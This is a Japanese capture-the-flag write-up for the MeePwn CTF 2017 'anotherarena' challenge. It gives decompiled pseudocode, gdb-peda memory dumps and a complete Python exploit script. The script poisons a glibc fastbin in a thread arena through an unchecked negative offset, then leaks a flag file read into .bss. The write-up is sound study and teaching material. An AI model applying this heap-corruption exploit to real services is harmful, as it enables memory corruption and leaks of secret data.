https://ctftime.org/task/4313
MeePwn CTF 1st 2017 の anotherarenaです。
例によって上手い人に教えてもらいました。その節はありがとうございました。
概要
戻した擬似コード(ほぼC)
int size;
int main(){
uint_64t newthread; //ほんとは pthread_t *
uint_64t th;
uint_64t thread_return;
uint_32t fd;
// flagファイルをbssに読み込む
fd = open("/home/anotherarena/flag", 0);
offset_flag = 0x602101
read(fd, offset_flag, 0x80);
close(fd);
//1回目のスレッドでの作業でmallocで確保するサイズの取得
size = read_malloc_size();
//1回目のスレッドでの作業
pthread_create(newthread, NULL, recv, NULL);
pthread_join(newthread, thread_return);
//2回目のスレッドでの作業, こちらがメイン
pthread_create(th, NULL, start_routine, thread_return);
pthread_join(th, NULL);
return 0;
}
int read_malloc_size(){
char *buf;
read(stdin, buf, 8);
return atoi(buf);
}
void* recv(){
return malloc(size);
}
void start_routine(void *chunk){
int residual_byte_count;
int input_offset;
int *input_cursor;
void *chunk_head;
chunk_head = chunk;
input_cursor = chunk;
residual_byte_count = size;
//オフセットを入力し、chunk_head[input_offset]を書き換えられる
while(residual_byte_count != 0){
//オフセットの読み込み
read(stdin, input_cursor, 4);
input_offset = *input_cursor;
input_cursor++; //4byte進める
residual_byte_count -= 4; //オフセットをchunkに読み込んだ分減る.
//4バイトより残りが少なくなったか、オフセットがでかすぎたら中止
if ((residual_byte_count <=3) || (input_offset > residual_byte_count) ) break
read(stdin, *chunk_head[input_offset], 4);
residual_byte_count -= 4; //chunk[inputted_offset]に読み込んだ分減る.
}
int sum;
int current_offset;
void *buf_to_print;
void *current_item;
int size_buf_to_print; //qwordとして確保されているがuint_32tとしてしか使われないっぽい
sum = 0;
current_offset = 0;
//chunkの中身を呼んで総和を取る
while(current_offset < size){
current_item = (int) chunk_head[current_offset];
sum += current_item;
current_offset++;
}
//好きなサイズを入力し,好きな内容を書き込める
size_buf_to_print = read_malloc_size();
buf_to_print = malloc(size_buf_to_print);
read(stdin, buf_to_print, size_buf_to_print);
//ここがライセンスチェックとかsecret_keyチェックとか呼んだとこ
if(sum != 0x0c0c0aff6){
puts("Bad b0y!");
}else{
printf("Good boy! Your license: %s\n", buf_to_print);
}
return;
}
start_routineのIDAメモ
エクスプロイトの手順
概要
- あとのmallocでflagの手前あたりの位置を返すための仕込み
- 1スレッド目、mallocで確保するサイズとして
0x7f
を渡し、chunk
を確保. 0x7fはグローバル変数size
に格納されるのでbssにいる - 2スレッド目、
input_offset
に負の値を入れ、chunk_head[input_offset]
が、chunk_head
の指す先より前にある,main_arenaじゃないarenaのmalloc_state
構造体のfastbinsY
の0x70サイズのところを指すようにする - 上記の
fastbinsY
の0x70サイズのリンクリストのヘッダがbssのsize
変数がある一つ上(0x8だけ上)を指すようにする - secret_keyチェックを合格するための仕込み
input_offset
に0を入れる。chunk_head[input_offset=0]
にsecret_key - 0x80
を入れるinput_offset
に0x80を入れ、ループを脱出する- mallocでflagの手前あたりを確保したら、そこからflagまで一続きにprintするための仕込み
- mallocしたときにサイズ0x70を担当するfastbinsから割り当ててもらうために、少し小さい
0x60
を渡しmallocさせ、print_buf
を確保する - サイズ0x70を担当するfastbinsを書き換えておいたので
print_buf
は、bss上の良い感じの位置から確保された。flagまで読み出せるように、flagまで隙間なく'A'で埋める - printすると末尾にflagも一緒についてくる!
あとのmallocでflagの手前あたりの位置を返すための仕込み
擬似コードを読めばわかるが、まずbssにflagファイルを読み込んでいる。
そのあと、入力したサイズ分だけchunkを確保し、オフセットを入力させそこを書き換えている。
mainarenaは書き換えるのに労力がいるらしいが、今回は別なthreadの中なのでmallocが使うarenaはmainarenaではない。このようなarenaの場合、arenaの管理用構造体、mallocstate構造体の後ろからmallocで確保されてゆく。つまり、mallocで確保されたchunkの前にarenaの管理用構造体、mallocstate構造体がある。
しかもオフセットは最大値側のバウンダリチェックしかしていないので、負の値が入る. 負の値を入れればchunkの前側にいるmalloc_state構造体を書き換えることができる。
malloc_state構造体の中のfastbinsYとかいうのを書き換えて、次にmallocしたときに所望の位置が返ってくるようにできる。
その所望の位置は...bssの、flagファイルが読み込まれたあたりである。
ちなみになんで0x70
がターゲットとなったのかは不明。
mallocで0x7f
ぶん確保する
https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c の
2151 assert (fastbin_index (chunksize (p)) == i);
のとおり、chunksize()
ではLSB側3bitがマスクされ、fastbin_index()
ではx64の場合右に4bitシフトされ-2され、結果的にサイズ0x70を担当するfastbinsのインデックス, 0x5になる。そのため、結果的に0x5になるものであればなんでも良いが0x7fとする。
(なんでも良いが0x7f以外だとなんだかよくわからないが失敗する...らしい. 0x70のfastbinを使うのは大きさがちょうどよいから?ヨクワカリマセン)
mallocstate構造体のfastbinsYを指すようにinputoffsetを入力する
x64のlinuxではfastbinsは0x10バイト刻みに、0x20からfastbinsが用意されている。0x70を担当するのは、インデックスが0x5,つまり6番目のfastbinである。
chunk_head
からのオフセットを計算するために、まずここのアドレスを調べる。
gdb-peda$ p main_arena
$8 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x603120,
last_remainder = 0x0,
bins = {0x7ffff7bb4b78 <main_arena+88>, 0x7ffff7bb4b78 <main_arena+88>, ...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff0000020,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
これのnext
が見たいarena.
gdb-peda$ p (struct malloc_state)*0x7ffff0000020
とやる。よくみれば0x7ffff0000050
がfatbinsYの6番目だとわかる。
gdb-peda$ set {char}0x7ffff0000050=42
とかやるとfatbinsYの6番目が書き換わったのが確認できる。
なのでinput_offset
は(0x7ffff0000050 - 0x7ffff0000020)
にすればよい. これでchunk_head[input_offset]
はfatbinsYの6番目を指す.
malloc_state構造体のfastbinsYを、bssエリアのflagのちょっと前を指すように書き換える
flagファイルがロードされた位置をbssエリアを表示させ確認する.bssエリアのアドレスはgdb-peda$ readelf
でわかる.
gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087
0008| 0x6020a8 --> 0x0
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b
0024| 0x6020b8 --> 0x0
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087
0040| 0x6020c8 --> 0x0
0048| 0x6020d0 --> 0x0
0056| 0x6020d8 --> 0x0 ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f ; pseudo_chunkのsizeとして読まれる
0072| 0x6020e8 --> 0x0 ; これ以降はpseudo_chunkのcontentsになる
0080| 0x6020f0 --> 0x0
0088| 0x6020f8 --> 0x0
0096| 0x602100 --> 0xa2167616c662100 ('') ;= flag!!!!
0104| 0x602108 --> 0x0
0112| 0x602110 --> 0x0
なお、mallocで確保されるチャンクは以下のようになっている. sizeのチェックが入るので, 正しい値(今回は冒頭で説明したように0x7f
)を入れなくてはならない.
|prev_size|
|size |
<- malloc |contents |
| ... |
なので、上のbssエリアを表示させた例についてるコメントのように, 0x7f
が入ってるとこの一つ上, 0x6020d8
をfastbinsYのサイズ0x70を担当するところに書き込む.
こうすれば次に, サイズ0x70(に収まるもの)をmallocで要求したときに, そこのアドレスを返してくれる.
secret_keyチェックに合格するための仕込み
擬似コードを読めばわかるが、chunkの中身の総和をとり、それをsecret_key, 0x0c0c0aff6
と比較して、等しいかどうかで分岐している. 合格しないとBad b0y!
が表示されるだけ.
flagファイルがロードされたところをプリントするためには、まずこれに合格しなければならない.
ここまでで、chunkは以下のようになっている.(ちなみに0xfffff790
はchunk_headからfastbinsYの6番目までのオフセット、0x7ffff0000050 - 0x7ffff0000020
を計算したもの.)
input_cursor(上位4バイトを指す), chunk_head -> |0x00000000fffff790|
|0x0000000000000000|
|0x0000000000000000|
.. (全体で0x7fのサイズ)...
|0x0000000000000000|
chunk全体の総和が0x0c0c0aff6
になるように頑張る.
input_offset
に0を入れる。
擬似コードを読めばわかるが、オフセットとして入力したものはinput_cursorが指している先に書き込まれる.
chunk_head -> |0x00000000fffff790|
input_cursor(下位4バイトを指す) -> |0x0000000000000000|
|0x0000000000000000|
...(全体で0x7fのサイズ)...
|0x0000000000000000|
chunk_head[input_offset=0]
に secret_key - 0x80
を入れる
chunk_head -> |0x0c0c0aff6 - 0x80|
input_cursor(下位4バイトを指す) -> |0x0000000000000000|
|0x0000000000000000|
...(全体で0x7fのサイズ)...
|0x0000000000000000|
input_offset
に0x80を入れ、ループを脱出する
大きい方の境界チェックはあるので、0x7f
より大きい0x80
を入れることでループがとまる. このときchunkに余計な0x80が入るので、さっき入れたのはその分を引いたsecret_key - 0x80
だったというわけ.
chunk_head -> |0x0c0c0aff6 - 0x80|
input_cursor(上位4バイトを指す) -> |0x0000000000000080|
|0x0000000000000000|
...(全体で0x7fのサイズ)...
|0x0000000000000000|
これでchunkの総和が0x0c0c0aff6
に等しくなった.
mallocでflagの手前あたりを確保したら、そこからflagまで一続きにprintするための仕込み
擬似コードを読めばわかるが,最後にprintf("Good boy! Your license: %s\n", buf_to_print);
でbuf_to_print
を表示させている. 上までの仕込みのおかげで、buftoprintをmallocで確保するときにサイズを0x60
にすると、bssエリアのflagが読み込まれている少し前の位置のアドレスがmallocの戻り値となる.
よって、buf_to_print
の中身をうまいことやれば、flagまでリークできる.
mallocしたときにサイズ0x70を担当するfastbinsから割り当ててもらうために、少し小さい0x60
を渡しmallocさせ、print_buf
を確保する
擬似コードを読めばわかるが, ループを抜けた後、chunkの総和を計算した後、size_buf_to_print
を入力させ、buf_to_print
を確保する.
その際、mallocに, 0x60
を渡すと、サイズ0x70
を担当するfastbinsから割り当ててくれる.
gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087
0008| 0x6020a8 --> 0x0
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b
0024| 0x6020b8 --> 0x0
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087
0040| 0x6020c8 --> 0x0
0048| 0x6020d0 --> 0x0
0056| 0x6020d8 --> 0x0 ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f ; pseudo_chunkのsizeとして読まれる
0072| 0x6020e8 --> 0x0 ; これ以降はpseudo_chunkのcontentsになる. !!!!!ココが今回のmallocの戻り値となる!!!!!
0080| 0x6020f0 --> 0x0
0088| 0x6020f8 --> 0x0
0096| 0x602100 --> 0xa2167616c662100 ('') ;= flag!!!!
0104| 0x602108 --> 0x0
0112| 0x602110 --> 0x0
buftoprintからflagまで読み出せるように、flagまで隙間なく'A'で埋める
サイズ0x70を担当するfastbinsを書き換えておいたのでprint_buf
は、bss上の良い感じの位置から確保された。 flagとの間に0があるので、printf("Good boy! Your license: %s\n", buf_to_print);
のときにそこで止まってしまう...ということは、flagの位置まで'A'などで埋めれば途切れることなくそこまで読み出せる.
なのでflagの位置(0x602101
)とのオフセットを計算し、0x602101 - 0x6020e8
個の'A'をbuftoprintに書き込む.
gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087
0008| 0x6020a8 --> 0x0
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b
0024| 0x6020b8 --> 0x0
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087
0040| 0x6020c8 --> 0x0
0048| 0x6020d0 --> 0x0
0056| 0x6020d8 --> 0x0 ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f ; pseudo_chunkのsize
0032| 0x6020e8 ('A' <repeats 25 times>, "!flag!\n") ; これ以降はpseudo_chunkのcontentsになる. !!!!!ココが今回のmallocの戻り値となる!!!!! buf_to_printが指す位置.
0040| 0x6020f0 ('A' <repeats 17 times>, "!flag!\n")
0048| 0x6020f8 ("AAAAAAAAA!flag!\n")
0056| 0x602100 ("A!flag!\n") ;= flag!!!!
0072| 0x6020e8 --> 0x0
0088| 0x6020f8 --> 0x0
0096| 0x602100 --> 0xa2167616c662100 ('')
0104| 0x602108 --> 0x0
0112| 0x602110 --> 0x0
おしまい
Good boy! Your license: AAAAAAAAAAAAAAAAAAAAAAAAA!flag!
スクリプト
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib
# --- common funcs ---
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]
def p(a): return struct.pack("<Q",a)
def u(a):
return struct.unpack("<Q",a.ljust(8, "\0") )[0]
def p32s(a): return struct.pack("<i",a)
def p32(a): return struct.pack("<I",a)
def invert(st):
ans = []
for ind in range(len(st)):
if ind % 2 == 0:
ans.append( chr( ord(st[ind]) ^ 0x20) )
print( chr( ord(st[ind]) ^ 0x20 ) )
else:
ans.append(chr( ord(st[ind]) ))
print( chr( ord(st[ind]) ))
return "".join(ans)
# -- subroutine--
# --- main ---
s, f = sock("localhost", 1025) # 接続
# *** 1つ目のthread ***
# ひとつ目のthreadでmallocするサイズを指定
chunk_size = 0x7f # なんでもよい, fastbinsのために良いサイズにしておく0x7fとか.
f.write(str(chunk_size).ljust(8, '\x00')) # 8bytes よみこみ
# *** 2つ目のthread ***
addr_chunk = 0x7ffff00008c0
addr_fastbins_size_0x70 = 0x7ffff0000050
offset_to_fastbins_size_0x70 = addr_fastbins_size_0x70 - addr_chunk
# index
f.write( p32s(offset_to_fastbins_size_0x70) ) # 4bytest よみこみ readは0でくぎってくれない
# sleepをいれてやることでも くぎれる
# なかみ. 偽のchunkを渡す。chunk->sizeがさっきbssに入れた0x7fの場所にくるような位置にする
pseude_chunk = 0x6020d8
f.write(p32s(pseude_chunk))
# index, liscenseの計算が面倒にならないように、もういちどchunkの先頭をささせて書き換えておくため
f.write(p32s(0))
secret_key = 0x0C0C0AFF6
final_offset = 0x80
# なかみ, liscenseチェックをクリアできるようにつじつまあわせ
f.write(p32(secret_key -final_offset))
# index. invalidなほどでかい値を入れる. これはchunkの入力場所の後ろに確保されるのでliscense計算に入ってしまう、のでさっきliscenseの値から引いておいた
f.write(p32s(final_offset) )
# ここでループ脱出
# **ライセンスチェック前**
# mallocのサイズ
f.write(str(0x60).ljust(8, "\x00") ) # fastbinsは0x10きざみ,0x70のfastbinsからほしいのでこうする,少し小さめの0x60にすると0x70のbinからくるらしい
# flagまでつめものをする. そうするとflagとの間に一個もnull文字が入らないのでflagまでgood_boyのbranchにあるprintfで読み出せる
addr_flag = 0x602101
pseude_chunk_nakami = pseude_chunk + (0x8*2)
offset_to_flag = addr_flag - pseude_chunk_nakami
f.write("A" * (offset_to_flag) )
shell(s)
0 件のコメント:
コメントを投稿